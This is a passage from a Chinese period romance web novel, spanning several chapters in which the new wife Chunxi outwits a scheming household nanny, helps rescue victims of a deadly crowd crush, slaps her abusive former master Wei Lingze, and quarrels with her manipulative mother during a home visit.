贾嬷嬷还想改让春喜练敬茶,春喜抢先道:“这些小事情随时都可以纠正,大人昨夜把私库钥匙给我了,还嘱咐我这两日把私库整理一下,顺便挑些回门礼,嬷嬷陪我一起去吧。” 贾嬷嬷到春喜身边就是为了萧氏的嫁妆,自然不会拒绝。 萧氏的陪嫁太多,沈清渊只让青书搬到自己的私库,还没来得及整理,库房里确实有些乱。 贾嬷嬷刚要借机打压春喜,说她配不上沈清渊,然而还没开口,就听到春喜说:“嬷嬷,和我一起把这几个箱子抬到旁边吧,不然都没法往里面走了。” 抬完几个箱子,春喜卷起袖子,大刀阔斧地擦起架子来。 当然她也没让贾嬷嬷闲着,不是让贾嬷嬷打水,就是让贾嬷嬷帮忙把箱子里的东西摆到架子上来。 主要的活都是春喜在干,春喜只是好脾气地让贾嬷嬷帮一下忙,贾嬷嬷拒绝不了,但她年纪毕竟大了,又跟着莫氏享了多年的福,一天下来,只觉得自己一把老骨头都要散架了。 “嬷嬷真是厉害,我今天跟着嬷嬷学了好多东西呢。” 春喜竖起大拇指夸赞,贾嬷嬷有些茫然。 她今天不是被少夫人使唤了一天吗,什么时候教过少夫人东西? 哦,她每拿一样东西出来,少夫人都会问她这东西的出处质地、价值几何。 想到这里,贾嬷嬷顿觉嗓子冒烟儿,又干又疼。 这一整天少夫人光顾着问她问题,连口水都没给她喝! 这小妮子肯定是故意的! 以后不能被少夫人牵着鼻子走了,体力方面是少夫人的优势,那就换脑力,让少夫人看账簿算账,只要算错一次就狠狠责罚! 贾嬷嬷打定主意,扶着老腰一瘸一拐地回主院向莫氏汇报情况。 贾嬷嬷走了没多久,沈清渊就从署衙回来了。 见春喜高高卷起袖子,一身灰尘的样子,眉心微皱:“贾嬷嬷今天让你做什么了?” “大人真是小瞧我了,我是那种乖乖被人欺负的人吗,”春喜反驳,眉梢一扬,很是得意,“是我拉着贾嬷嬷把大人的私库整理了一番,现在里面可整齐了,大人要不要去看看?” “不用。” 沈清渊直接拒绝,春喜也不失望,鼻尖微动,闻到了沈清渊身上的烤鸭香,顿觉饥肠辘辘。 “大人带什么好吃的回来了?” 春喜满眼放光,跟饿极了的小狼崽子似的。 沈清渊横了她一眼:“先把自己洗干净再来吃东西。” “哦。” 确实饿得厉害,春喜以最快的速度把自己洗干净,再回来时,发梢甚至还在往下滴水。 沈清渊带了烤鸭、花生酥、卤猪耳朵和凉拌三丝。 春喜直咽口水,却还是等着沈清渊夹第一筷子。 “你先吃。” 丢下这句话,沈清渊进了卧房。 春喜饿得没有精力探究他要做什么,先掰了个鸭腿儿吃。 没一会儿,沈清渊拿着一条干帕子从屋里出来,径直走到春喜身后帮她绞发。 没有伺候人的经验,沈清渊的动作很生硬,但力道轻柔,春喜险些被嘴里的鸭腿儿噎住。 虽说两人已经是夫妻,但这对她来说还是有些太亲密了。 春喜想起早晨沈清渊突然离自己那样近,又充满侵略感的模样,后知后觉地意识到自己似乎应该注意一下形象。 像这样直接抓着一只鸭腿儿啃确实不太雅观。 春喜默默放下鸭腿,沈清渊的声音很快从头顶传来:“不是很饿吗,怎么不吃了?” “大人都没吃,我不好意思。” “无妨,你吃你的。” 话是这样说,春喜还是放慢了进食的速度。 吃完饭,洗漱一番躺在床上,春喜又是一阵紧张。 大人也没说具体要给她多少时间适应,要是今晚要跟她圆房,她应该怎么配合来着? 娘说的那些她怎么都忘了? 不过春喜没有紧张太久,就因为身体的疲累睡死过去。 听着耳边小小的鼾声,沈清渊无奈勾唇。 早上明明被吓得不轻,怎么还是毫无防备。 就不怕他做点什么吗? 第二天起床春喜又恢复了满满的活力。 出嫁三日,今天该回门了。 吃过早饭,收拾妥当,春喜和沈清渊一起出发,贾嬷嬷昨日累得太狠,瘫在床上爬不起来,不能与他们同往。 半路,马车被堵住,和他们一起被堵的还有卫凌泽和萧清禾。 第53章 出事 卫萧两家的婚礼办得极为盛大,卫家给萧清禾准备的回门礼也非常多,足足拉了五辆车,加上随行的丫鬟护卫,队伍有些庞大,一路走来吸引了不少人围观。 人群太过拥挤,一个妇人被挤出来,好巧不巧一头磕在卫家的马车上,竟是头破血流断了声息,一群人跑出来围住卫家的马车,大喊草菅人命。 声势闹得太大,围观的人越发多起来,相邻两条街都拥堵得无法通行。 青书把打听到的情况大概说了一遍,低声道:“大人,前面走不通了,要不要换条路走?” “嗯。” 得了准许,青书立刻掉转车头。 马车里沈清渊的神情却有些严肃,春喜顿时琢磨出一丝不对劲儿来。 卫萧两家都是极重名声的世家大族,而且今天还是萧清禾回门的大日子,若是出了意外,肯定会拿出重金息事宁人,绝不会耽误正事,难道……是有人故意闹事? 这个念头刚冒出来,马车外突然传来骚动,青书大喊:“大人,不好了。” 话音落下,马车被急急勒停。 春喜忍不住掀开车帘朝后望去。 方才还恨不得挤到最里面看热闹的人群此刻全都发了疯地朝外跑去。 因为太过慌乱,好多人都跌倒在地,但后面的人还在不断朝外跑来,原本宽大的街道一时竟被人流堵得死死的,有的人甚至被死死踩在脚下哀嚎不已。 会死人的! 春喜脸色微变,她扭头想跟沈清渊说话,沈清渊却已下了马车。 “青书,保护好少夫人。” 丢下这么一句话,沈清渊逆着人流大步向前。 “大人,我跟你一起去!” 青书说着便要跳下马车,被春喜抓住裤腰带拉回来:“去什么去,这种时候当然是要赶紧去找帮手来救人啊!” 春喜说着一巴掌拍在马屁股上,马车立刻在混乱的人群中杀出一条路来。 青书还没适应春喜的身份,瞪大了眼睛:“你……” “别婆婆妈妈的,赶紧去京兆府,有多少人就叫多少人来。” 说着话,马车已经来到开阔的地方,春喜两手一撑,跳下马车。 青书发出惨叫:“少夫人!” 春喜一个滚身卸力站定,冲他挥手:“我去医馆找大夫,咱们分头行事。” 青书:“……” 不是,你好歹让我有个心理准备啊,我刚刚差点儿被你吓死! 春喜腿脚快,很快把附近几个医馆的大夫和伙计都召集起来。 她让大夫带了很多纱布和外伤药,再赶回刚刚的地方,能跑的人都已经跑走了,没能跑掉的,全都坐在地上痛苦哀嚎。 越往里走,越是触目惊心。 距离出事地最近的一处茶楼更是哀嚎声不断。 这处茶楼正好在卫家车马经过的正前方,听到出了人命,好多人都涌进茶楼看热闹,后来人群发生骚乱,这些人又拼了命地想从茶楼出来,然而茶楼的门就这么大,有人跌倒后,人群便堵在这里。 最后变成人压着人,一层又一层,所有人都伸长了胳膊,想要离开这个地方,却又被周围的人死死压着动弹不得。 被压在最下面的人已经面色铁青,没了呼吸。 原本悠闲宁静的茶楼俨然成了人间炼狱。 跟在春喜身后的大夫伙计全都变了脸色。 要不是这个年轻妇人预付了一些诊金,他们是不会跟着一起来的,皇城脚下,怎么会发生骚乱? 可眼下的场景叫他们遍体生寒。 这是怎么了? 难道有乱臣贼子要逼宫篡位? “都愣着做什么,快救人啊!” 春喜大吼一声让众人回过神来,然后众人就看着她抱着茶楼门口的柱子噌噌噌地爬上了二楼。 众人:“……” 这到底是谁家娘子啊,行事怎的如此剽悍? 里面的情况比外面看着还要糟糕。 茶楼共有四层,平日生意就好,今天为了看热闹,每一层几乎都挤满了人,一楼大堂人叠着人,每一层的楼梯上也是人满为患。 得去到最上面一层才行。 春喜正要想办法上楼,沈清渊的声音从楼上传来:“你怎么进来了?” 循声望去,沈清渊已将四楼楼梯清理出来,那些被救下的人也都跟在他身后帮忙。 他的头发乱了些,却是面色沉稳,丝毫不显狼狈。 春喜高声道:“我让青书去京兆府找人了,还找了好些大夫来,我这就让人送梯子来,先把受了伤的送出去治疗。” 不等沈清渊回答,春喜跑回临街的包厢叫人帮忙。 等青书带着京兆府的衙差赶到时,春喜和沈清渊已经用绳梯和竹梯搭出一条通道救出不少人。 有了衙差帮忙,救人的速度更快了。 等茶楼全部清空,沈清渊才来到春喜面前。 春喜立刻道:“大人,我是先到安全的地方才去找人帮忙的。” 她累得满头大汗,眼睛却是亮闪闪的,像是摇着尾巴求摸摸的小狗。 沈清渊心念微动,抬手拨开她鬓角的碎发夸赞:“你做得很好。” 如果不是她,今天不知道还要添多少冤魂。 春喜弯眸,正想说话,突然感受到一股灼热的目光。 偏头,就见卫凌泽满脸阴郁地站在不远处看着她和沈清渊。 莫名的像是在看奸夫淫妇。 春喜眉心微皱,下巴忽地被捏住,沈清渊把她的脑袋摆正,沉沉道:“有什么好看的?” 春喜小声回答:“我没觉得好看,是他在瞪我,我就想瞪回去。” “嗯。” 沈清渊应了一声,偏头替春喜瞪了回去。 这时府尹李明德带着一群人赶到,众星拱月地把卫凌泽围起来。 “卫大人这么快就把罪魁祸首抓回来啦,真是太厉害了。” “那样混乱的情况,卫大人还能保持冷静,不让这些人的诡计得逞,此等心智实非常人能有啊。” 一群人一句接一句地夸个不停,恨不得把卫凌泽哭得上天遁地,无所不能。 春喜撇撇嘴。 她还是觉得她家大人最厉害。 毕竟罪魁祸首可以慢慢抓,但这么多条人命,没了就没了,做再多的事都弥补不了。 沈清渊本就不爱居功,也不在意那些人的话,正想和春喜一起离开,卫凌泽的声音传来:“出了这么大的事,沈大人看完热闹就走,还有半点儿为人父母官的自觉吗?” 这话一出,围在卫凌泽身边的人全都一脸鄙夷地朝两人看来。 春喜:“……”??? 不是,一群拍马屁的还鄙视起救人的了? 简直倒反天罡! 第54章 卫凌泽,你可真该死啊 “你们这是什么眼神,沈大人和这位小夫人可是我们的救命恩人,要不是他们及时赶来,我们可能都已经死了。” 不等春喜开口反驳,刚刚茶楼里获救的人全都站出来帮沈清渊说话。 他们刚刚也看到沈清渊帮春喜撩发,说着说着不免夸赞起两人来。 “沈大人能娶到这样善良的夫人真是好福气啊。” “而且沈大人和夫人看着就有夫妻相,以后一定能多子多福,恩爱百年。” “沈大人和夫人是我全家的救命恩人,从今天开始,我一定日日烧香祷告,为二位祈福,希望二位福泽绵长。” 方才恭维卫凌泽的那些话虽然好听,但远没有这些百姓的声音大,更没有这般虔诚。 春喜顿时就不生气了:“我家大人就是爱做善事,我都是跟他学的,大家以后若是再听到有人说我家大人的坏话,帮忙骂几句就好了。” 春喜笑的眉眼弯弯,梳着妇人发髻站在沈清渊身旁显出两分娇弱来。 卫凌泽听到这些话,脸色变得铁青。 这些人都是眼瞎吗,从哪里看出这两个人般配的? 这般想着,卫凌泽冷冷开口:“沈大人不是克死了两任妻子吗,这几日也没听说侯府办婚宴,什么时候又有夫人了?” 卫凌泽本就不相信沈清渊是自愿娶春喜的,得知侯府没有办酒席,就更加肯定这桩婚事是莫氏的手笔。 不止没有婚宴,连今日的回门礼都寒酸极了。 春喜还想演夫妻恩爱的戏码,那他就狠狠撕下她的遮羞布! 果然,卫凌泽这话一出,众人夸赞的声音就停了下来。 沈清渊面不改色,执起春喜的手说:“内子不喜张扬,婚宴虽然未办,但都折算成银钱纳入内子的私库,而且内子的名字已记在族谱之上,侄婿可要亲自去侯府取族谱查看?” 一声侄婿让京兆府众人全都傻了眼。 侄婿? 卫大人怎么会是沈清渊的侄婿?这是从哪儿算起来的关系? 卫凌泽的脸色阴沉到极点。 早在萧清禾叫出那声“沈叔叔”的时候,他就意识到自己日后可能会低沈清渊一头,但他没想到沈清渊竟敢在大庭广众之下对自己摆出长辈的架子。 他若是认下沈清渊这个叔叔,岂不是还得叫春喜一声叔母? 这个老东西真是好大的脸! 熊熊的怒火灼烧得五脏六腑都疼,卫凌泽失了理智,再开口,无尽的恶意袭向春喜:“沈大人身边之人曾经在卫家为奴为婢,更是贴身伺候我整整三年,如此低贱之人,不知是用了怎样见不得人的手段爬上沈大人的床榻?” 话音落下,众人看春喜的眼神都变了。 即便好多人刚刚才被春喜从鬼门关拉回来,但因为春喜和沈清渊身份的悬殊,他们更愿意相信卫凌泽说的是真的。 一个身份低贱的女子,如果不用些见不得人的手段,凭什么得到上位者的垂青呢? 这样的眼神春喜并不陌生。 在她扛过卫凌泽的喜怒无常,取得他的信任和依赖,成为他的贴身婢女后,没人觉得她靠的是自己的坚强和努力,反而以最大的恶意揣测她。 那时所有人都忘了,在她之前,有好几个婢女都死在卫凌泽手里。 霁月清风的卫家大少爷是个不折不扣的杀人恶魔。 没有人愿意去他身边伺候,她只是个无路可走的可怜虫。 以前春喜只是个小小的奴才,听到再难听的话也只能忍着。 但现在,不一样了。 春喜飞快上前,卯足劲儿狠狠甩了卫凌泽一巴掌。 啪! 极其响亮的巴掌声响起,卫凌泽的脑袋被打偏,唇角流出血来,站得近一些的人都忍不住悄悄吸了口冷气。 嘶~ 沈大人这位新夫人手劲挺大啊,听着都疼。 卫凌泽倒不觉得有多疼,因为他半边脸都是麻的,耳朵甚至有些嗡鸣,脑子也是一片空白。 他有些不敢相信,春喜竟然打了他一巴掌。 这个在他身边周到细致伺候了三年的女人,在离开卫家之前,连句顶撞的话都没有说过一句的女人,竟然敢扇他的巴掌! 她疯了? “你……” 卫凌泽瞳孔震颤,半晌才找回声音,然而刚说了一个字,右脸又被沈清渊反手打了一巴掌。 沈清渊的力气可比春喜大多了。 卫凌泽直接被扇得倒退了好几步。 京兆府众人看的眼珠子差点儿掉下来。 沈清渊今天是中邪了吗,竟然敢跟卫凌泽动手,他就不怕被卫家报复连头顶的乌纱帽都丢了? 沈清渊这一巴掌彻底把卫凌泽扇清醒过来。 春喜那一巴掌让他震惊,沈清渊这一巴掌就是十足的羞辱。 他长这么大,还是第一次被人扇巴掌。 他今天一定要把这个老东西剁碎了喂狗! 卫凌泽怒不可遏,抽出离自己最近的衙差腰间的刀就要朝沈清渊砍去,萧清禾飞奔而来,从背后抱住他:“卫郎,不可以。” 初为人妇,萧清禾盘起乌发,梳了妇人发髻,不显老成,反倒添了两分妩媚,像是绽放到极致的牡丹,艳丽极了。 萧清禾鲜少出门,偶尔出来也会戴着面纱,众人猛然看到如此绝美的女子,全都不自觉放缓呼吸,生怕惊扰了她。 然而卫凌泽却毫不怜惜,抓住她的胳膊狠狠甩开。 萧清禾被甩到地上,手掌顿时擦破了皮。 “少夫人,你没事吧!” 丫鬟雀枝冲上来扶起萧清禾。 萧清禾顾不上疼,推开雀枝,冲到卫凌泽身边,握住了他手里的刀。 刀刃锋利,萧清禾葱白娇嫩的手掌顿时被划破流出血来。 众人不由得露出疼惜之色,盛怒之中的卫凌泽也跟着恢复理智扔了刀。 李明德连忙上前劝阻:“卫大人,别跟不值当的人生气,先陪夫人回门要紧。” 萧清禾可是萧家的掌上明珠,带着伤回家这不是要伤两家的和气吗? 卫凌泽面沉如水,取了汗巾帮萧清禾把手包起来。 萧清禾疼得小脸煞白,却还是强撑着对春喜说:“小婶婶,对不起,我代夫君向你道歉。” 春喜:“……” 害这样绝美的姑娘受伤,卫凌泽,你可真该死啊! 第55章 回门 “我不是让你在马车上等我吗,你为什么要下车?” 一上马车,卫凌泽就低吼出声。 他的语气很不好,脸色也沉郁无比,似要凝出冰碴。 雀枝吓得大气都不敢出,担忧地看着萧清禾。 萧清禾神情未变,盯着卫凌泽看了半晌说:“卫郎,你怎么不问我疼不疼?” 萧清禾的脸还是苍白的,眼眶也有点红。 她生来尊贵,一直被娇养着,是个极怕疼的姑娘。 她初次来癸水时正好在卫家作客,羞得哭个不停,躲在萧家不肯再见卫凌泽,卫凌泽找了无数借口到卫家才把她哄好。 后来他将她来癸水的日子铭记在心,每次都会提前给她准备暖炉暖身子。 那时她喊一句疼,他都要心疼好几天,如今她伤得鲜血淋漓,他却连关心都忘了。 卫凌泽也想起了以前,表情有些僵,片刻后他说:“过去三年,我承受的比这疼百倍千倍。” 新婚之夜,卫凌泽说腿疼,萧清禾本以为是他的酒后之言,如今看来,却是他故意提起的。 过去三年他承受了常人不能想象的痛苦,而萧家推迟了婚礼,她也不曾陪在他身边。 他是怨恨她的。 所以成婚三日,他虽与她极尽缠绵,却毫不怜惜。 所以即便春喜已经嫁为人妇,他也还是会失态。 呼吸滞了滞,她轻声开口:“卫郎,以前你不是这样的。” 卫凌泽眼底飞快闪过讥讽,但他没再对萧清禾恶语相向,而是软了语气说:“抱歉,是我不好,今天吓到你了,自从瘫痪以后,我就有些控制不了自己的情绪,以后有你在身边,我会改的,别生我的气,好吗?” 萧清禾闭上眼睛,遮住眼底的失望。 她知道,卫凌泽并不是真的服软,而是用瘫痪堵她的嘴。 他不想跟她有太多的交流,他只需要她做好卫少夫人。 萧清禾早就想过这种可能,可真正面对的时候,才发现比想象中要痛得多。 真的好痛。 连呼吸都痛。 春喜一路上也在为萧清禾心疼,然而一进门,就被她娘骂醒了。 “哟,还知道回来呢,我以为你日子过得太好,连娘家的门朝哪边开都忘了,沈大人身份这么尊贵,我哪有那个福分做你的丈母娘啊。” 已经过了午时,院子里一片狼藉昭示王氏已经把煮好的饭菜招待左邻右舍吃了,这会儿酒足饭饱,正是最有力气骂他们的时候。 春喜顿时就从对萧清禾的同情中抽离出来。 她就个爹早死娘不爱的可怜虫,哪有资格心疼含着金汤匙长大的萧大小姐? 春喜拦下要开口解释的沈清渊,冷冷开口:“既然娘不欢迎我们,那以后我们就不回来了。” 春喜的婚礼虽然办得很低调,但沈清渊的身份还是让王氏狠狠吹嘘了一番。 她已经夸下海口,今天女儿女婿回门一定会准备厚礼孝敬她这个丈母娘,谁知煮好饭菜左等右等,始终不见人来。 王氏以为春喜真的不认她这个娘了,觉得没面子,便把饭菜招呼左邻右舍吃了,见两人出现,王氏的气消了大半,阴阳怪气几句只是想让春喜哄哄自己,没想到春喜拉着沈清渊扭头就走。 王氏绷不住,连忙跑出去把人拦下:“你真是好大的脾气,我不过是说你两句你就要走,也不怕街坊四邻看了笑话。” 王氏说着要拉春喜进院子,春喜站着不动:“家里吃的都没有,我们回去做什么,收拾桌子洗碗吗?” “谁要你干活了,而且灶上还熬着鸡汤呢,怎么会没有吃的?”知道春喜很轴,王氏又看向沈清渊解释,“沈大人你别生气,我这个人就是有点嘴碎,没什么坏心的,你们一直没来,让街坊邻居干等着也不好,我就让他们先吃了,但你们那份是单独留着的,没人动过。” 曹文和钱氏这个时候出来了,沈清渊捏了一下春喜的手,温声道:“我都闻到鸡汤味儿了,好香。” 春喜默默叹气,她家大人就是太好说话了,这些年也不知道吃了多少亏。 进门之前,沈清渊让青书先把回门礼提进屋。 春喜没从他的私库挑东西,只准备了一些糕点和补药,沈清渊又添了十来本书,这些书对曹文很有裨益,日后小侄儿长大了也能看。 昭陵读书人的地位很高,书本更是卖得贵,沈清渊拿的这些书还有他自己写的注解,便是拿着钱都买不到,王氏看完却很失望。 书院多的是书,还往家里拿书做什么,也不知道拿点儿实在的东西。 春喜只当没看到王氏的表情,麻利地收拾好桌子,盛了鸡汤和米饭出来。 老母鸡熬的汤确实很香。 一口下肚,春喜的心情好了些,正想大口吃饭,曹文突然走过来,拽着沈清渊的袖子说:“姐夫,书院有人欺负我,姐夫能给我换个地方念书吗?” 曹文的声音细得像是蚊子叫,不仔细听根本听不清楚。 春喜吃饭的动作一顿,柔柔开口:“阿文,声音大点儿,阿姐没听清你刚刚说什么。” 曹文唇瓣嗫嚅,眼眶泛红,说不出话,反而马上就要哭出来。 王氏见状把他抱进怀里,替他说:“阿文在新的书院一个认识的人都没有,还成天被欺负,这段时间人都瘦了一大圈,你们再给他换个地方念书吧。” 王氏一脸心疼,好像曹文受了天大的委屈。 春喜没看出曹文哪里瘦了,顺着王氏的话问:“娘觉得换去哪里念书比较好?” “我又没有念过书,哪知道哪里好啊,”王氏假意推辞一番,而后看着沈清渊说,“之前卫大少爷说过让阿文进云氏族学,那应该是个好地方,贤婿能想办法让阿文进云氏族学吗?” 王氏的算盘珠子都快崩春喜脸上了。 春喜沉了脸,她没看王氏,只看着曹文:“阿文,你已经快十岁了,有什么事要学会自己开口,不能总躲在别人身后,知道吗?” 王氏当即护犊子:“他年纪还小,被人欺负已经很可怜了,若是女婿做不到,直说就是,你凶你弟弟做什么。” 春喜重重地把筷子拍在桌上,陡然迸发的气势让王氏和曹文皆是浑身一颤,钱氏怀里的孩子都吓得哭起来。 “我让阿文说话,娘若是再插嘴,我以后就当没有这个弟弟。” 第56章 以后再也不回来了 “你这丫头怎么嫁了人气性就这么大了,他可是你的亲弟弟,小时候他一见到你就笑,你怎么……” 春喜的气势慑人,王氏被吓到,却又觉得她不可能真的不认曹文这个弟弟,还是念叨出声。 春喜不跟王氏辩驳,扭头就往外走。 这次沈清渊也不拦着,跟着起身。 王氏这才慌了,恰好这时曹武买了卤肉从外面回来,王氏大声道:“阿武,快拦住你妹妹,别让她走!” 曹武什么都不知道,听到王氏这话,下意识去抓春喜的手,沈清渊在这时开口:“青书,保护少夫人!” 一声令下,青书直接拔剑冲到两人中间,剑光闪现,曹武刚碰到春喜的手被迫收回,场面冷凝。 李婶听到动静走来,她提了一篮子新鲜豌豆做谢礼,见这一家子剑拔弩张,也不敢靠太近,只站在门外问:“阿喜她娘,这是怎么了,好端端的怎么动上刀了?” 王氏也没想到沈清渊会让人拔剑,刚刚青书和曹武的距离很近,要是曹武收手慢一点儿,可能都被伤到了。 王氏胆战心惊,又怕又怒:“你这死丫头好狠的心,这可是你亲大哥,你要让人砍了他的手不成?” 曹武倒是没有吓到,只是满头雾水,他挠挠头一脸不解:“阿喜,到底发生什么事了?” 春喜没有解释,仍是扭头朝外走去,这时曹文终于推开王氏,跑过来抓住她的袖子:“阿姐,你别走,都是我不好,我不该听娘的撒谎骗你和姐夫,书院没人欺负我,我也很喜欢新的先生,我不想换地方念书。” 曹武立刻看向王氏:“娘,青峰书院的先生都很好,阿文进去这段时间进步很大,好端端的你为什么又要让他转去别的地方念书?” 青峰书院肯定是比曹文之前念书的地方好的,但和云氏族学比起来就差远了。 春喜不要嫁妆,也不让沈清渊给聘礼,连回门礼都抠抠搜搜的,日后肯定靠不上,只有让曹文进云氏族学念书,日后有了大出息,她这个当娘的才能真的风光享福。 王氏的算盘打得极好,但她没想到春喜的态度会这样恶劣,连沈清渊都不给她这个丈母娘的面子。 王氏脸色难看,强撑着说:“当娘的自然希望自己的孩子好,我这不是想着阿文有姐夫了,也许能去更好的地方念书。” “那你也不能教阿文撒谎啊。” 曹武一脸的不赞同,他也明白春喜为什么会气得离开,沉着脸道:“青峰书院已经是很好的学府了,阿文若是有这个天赋,书院先生就会推举他去更好的地方学习,若他没有这个天赋,就算妹夫安排他进了国子监,他也学不出什么来。” 王氏当然知道自己儿子有几斤几两,但就算学不成,进了云氏族学,多结交一些贵族小少爷也是好的。 不过曹武这一根筋,根本想不到这些。 王氏也不想把事情闹得太僵,缓了语气说:“这件事就算是我错了,我以后再也不插手阿文的事了,阿文有没有出息跟我没有关系,行了吧?” 曹武常年跟王氏待在一起,老是听王氏说这些年有多不容易,对王氏十分孝顺,见王氏生气,当即软了语气:“娘,也没人让你再也不管阿文,只是你让阿文撒谎确实不对。” 曹武这一服软,像是触到什么开关,王氏一下子嚎啕大哭起来。 “你们的爹死得早,我一个人拉扯三个孩子这些年有多不容易只有我自己知道,我没念过书,也没什么见识,就是个见钱眼开的市井妇人,阿喜你如今是侯府的少夫人了,瞧不上我是应该的,你既担心我教不好你弟弟,那就把他带在身边亲自教吧。” 就算不能进云氏族学,只要曹文跟着春喜住进侯府,那也是能认识一些贵人的。 但哪有刚成婚就把小舅子往夫家带的? 曹武再是一根筋,也知道他娘这话有问题,当即道:“娘,你这是说的什么话,我是家中长子,父亲不在,应该由我教导阿文,哪有推给阿喜的道理?” “你连自己的妻儿都顾不上,拖着受伤的腿就要回木料作坊上工,哪有时间教导阿文,你常年不在家,你妹妹怨我也就罢了,万一连你媳妇儿也一起怨上,阿文哪里还能记得你这个做大哥的好?” 王氏这话说得阴阳怪气,好像春喜今天不是回门,而是故意回来挑拨离间,要抢走曹文。 “娘,阿喜不是这样的人!” 曹武有些生气了,王氏却不听,拉着李婶大吐苦水。 李婶之前见识过春喜的厉害,不敢再随便掺和,只安静听着并不应声。 春喜早就知道她娘装了一脑袋的糊涂账,她并不动怒,也不跟王氏吵闹,只低头看着曹文:“娘的话你都听到了,你要跟阿姐走吗?” 春喜的语气虽然柔和,但表情很严肃,曹文从来没有离开过家,虽然娘跟他说侯府很大很富贵,还有阿姐和姐夫在,他还是很害怕。 曹文有些不敢回答,王氏厉声呵斥:“臭小子,你犯什么傻,你阿姐要带你去侯府享福,你愣着做什么?” 曹文被吼得浑身一颤,他怕留下来会挨打,只能抓紧春喜的袖子点头:“我想跟阿姐走。” 春喜偏头看向沈清渊,沈清渊当即道:“夫人决定就好,我们家的事都听夫人的。” 春喜抽出袖子,对曹文说:“给你一刻钟的时间,去收拾自己的东西。” 曹文乖乖回屋,曹武不赞同道:“阿喜,我以后会抽时间管好阿文的,你不用带他走。” 春喜已经松了口,王氏哪里容她反悔,当即捂着胸口哎哟哎哟地喊起疼来。 “娘,你别演了!” 曹武有些不耐烦,但随着王氏喊疼的声音加大,他又忍不住动摇,怕王氏是真的不舒服。 春喜知道自家大哥最是心软,淡声道:“娘看到我就不舒服,以后我就不回来了,大哥若是想阿文了,或者有什么事可以来侯府找我。” 话落,春喜头也不回地踏出家门。 第57章 砌个小厨房吧 春喜把曹文带回侯府,先去见了莫氏。 莫氏端坐在主位,一身华裳,婆母的架子摆得很足,曹文本就忐忑不安,这下更是吓得紧紧依偎在春喜身旁,胆小怯懦极了。 好好的儿郎竟被养成这般模样,可想而知春喜娘家有多上不得台面。 一想到沈清渊娶了这样的姑娘做续弦,莫氏的心情好了很多,倒是没有如何为难就让曹文住下了。 春喜带着曹文谢了恩,一出主院,贾嬷嬷便冷着脸道:“少夫人和大少爷才刚新婚,就把自家弟弟接到府里来住,实在是不成体统,也就是咱们夫人心善,换做旁人,只怕少夫人都会一起被扫地出门。” 贾嬷嬷帮莫氏管着后院的下人,肃着脸说话时颇有威压,曹文有些被吓到。 娘不是说阿姐做了侯府的少夫人很是风光吗,怎么侯府的人对阿姐这样凶,还要把阿姐扫地出门。 他不想害阿姐被赶出去。 春喜也露出害怕的神情,小声道:“嬷嬷教训的是,但我娘已经说了不会再管我弟弟,我要是不把他带在身边,他就没有地方去了,这份恩情我会铭记于心,日后定尽心服侍母亲。” 贾嬷嬷要的就是春喜对莫氏的感恩戴德,她哼了一声趁机道:“少夫人若真的感激夫人,就该劝大少爷把先夫人的嫁妆交给夫人保管,免得伤了母子和气。” 春喜点点头很是赞同,说出来的话却是:“这话我已经劝过大人了,可大人之前生死未卜,母亲就急吼吼地在家置办起灵堂,实在是伤了大人的心。” 这事莫氏不占理,沈清渊要拿回生母的嫁妆也是理所应当。 贾嬷嬷没有心虚,反而厉声呵斥:“夫人是侯府的主母,少夫人怎可在背后非议夫人?” 莫氏盼着所有人赶紧忘记这件事,自然不希望有人再提起。 春喜没有被吓到,小声说:“嬷嬷,这些都是大人跟我说的。” “就算是大少爷说的,少夫人也不该一直挂在嘴上,”贾嬷嬷瞪着春喜警告了一番,而后又缓和了语气道,“大少爷已经成过三次婚,膝下却没有一个子嗣,少夫人还是少管闲事,早日为侯府开枝散叶才是。” 贾嬷嬷不敢再提嫁妆的事,春喜也乖顺道:“嬷嬷说的是。” 为了更好地拿捏春喜,贾嬷嬷没让曹文住问心院,而是让他住在自己旁边的下人房,美其名曰方便照看。 春喜像是完全不知道她的用意,一脸感激道:“那就劳烦嬷嬷费心了。” 说完转身离开。 “阿姐,别丢下我一个人。” 曹文想跟上,被贾嬷嬷抓住:“少夫人和大少爷新婚燕尔,不容被人打扰,小少爷进了侯府就要守侯府的规矩,懂吗?” 贾嬷嬷的力气很大,表情也很严肃吓人,曹文有点想哭,挣扎得更厉害,贾嬷嬷并未真的把他当小少爷看待,直接一巴掌打在他屁股上。 “小少爷瞧着也有十来岁了,难道不知道长辈说话要乖乖应答?” 贾嬷嬷这些年不知调教了多少丫鬟小厮,拿捏一个曹文实在轻而易举。 没一会儿,曹文便学会了侯府的规矩,红着眼含着泪回答:“嬷嬷,阿文知道了,阿文以后一定好好守规矩。” “好孩子。” 贾嬷嬷皮笑肉不笑地夸了一句,带着曹文去到久未住人的下人房。 屋子里落满了灰,贾嬷嬷也不叫人来打扫,直接使唤曹文去打水来擦地擦窗,曹文累得直掉泪,被贾嬷嬷打过两次后,连哭都小心翼翼的。 看着曹文小小的身影忙来忙去,贾嬷嬷感觉昨日被春喜拉着一起打扫库房的憋屈终于一扫而空。 这可是少夫人自己把软肋交到她手上来的,她可不会客气。 问心院里,沈清渊见春喜一个人回来,也问出同样的问题:“你就不怕贾嬷嬷对你弟弟不客气?” 春喜毫不犹豫:“怕什么,我像他这么大的时候,都卖身进卫家做丫鬟了,贾嬷嬷好歹还叫他一声小少爷。” 有沈清渊在,贾嬷嬷不敢真的伤害曹文,顶多让他吃点儿苦头。 他也该吃点儿苦头了。 不然别人说什么就是什么,以后长大了不仅没有男子气概,还没有脑子。 就喝了口鸡汤饿到现在,春喜回来之前让厨房煮了面条。 面条很快送来,春喜顾不上烫,大口大口地吃起来,沈清渊若有若思地看了她一会儿问:“你刚到卫家的时候害怕吗?” “怕什么,我可是得了我爹真传的,谁敢欺负我?” 嘴里吃着面,春喜这话说得含糊不清。 沈清渊没忍住,抬手揉了揉春喜的脑袋。 在他未曾参与的岁月里,眼前这个小姑娘吃了很多很多苦,但她只字不提。 沈清渊的动作很温柔,春喜咽下嘴里的面,偏头对他说:“大人,我们在院子里砌个小厨房吧,以后你回来就能吃到我做的饭了。” 大厨房离这儿太远了,而且有厨娘掌管着大小事务,她去做东西很不方便。 沈清渊收回手,沉沉道:“好。” 与此同时,曹家。 送走大夫,曹武沉着脸走进王氏房中:“大夫都说了娘没什么事,你别装了,跟我去侯府把阿文接回来。” “我不去!阿喜是阿文的亲姐姐,她现在嫁进侯府,拉扯弟弟一把是应该的。” “阿喜连嫁妆都没有,还是去做续弦的,娘只顾着阿文,就不想想阿喜在侯府该怎么活吗?” “你吼什么,她打小就机灵,在卫家做丫鬟这些年都好好的,去侯府做少夫人难道还会差?” 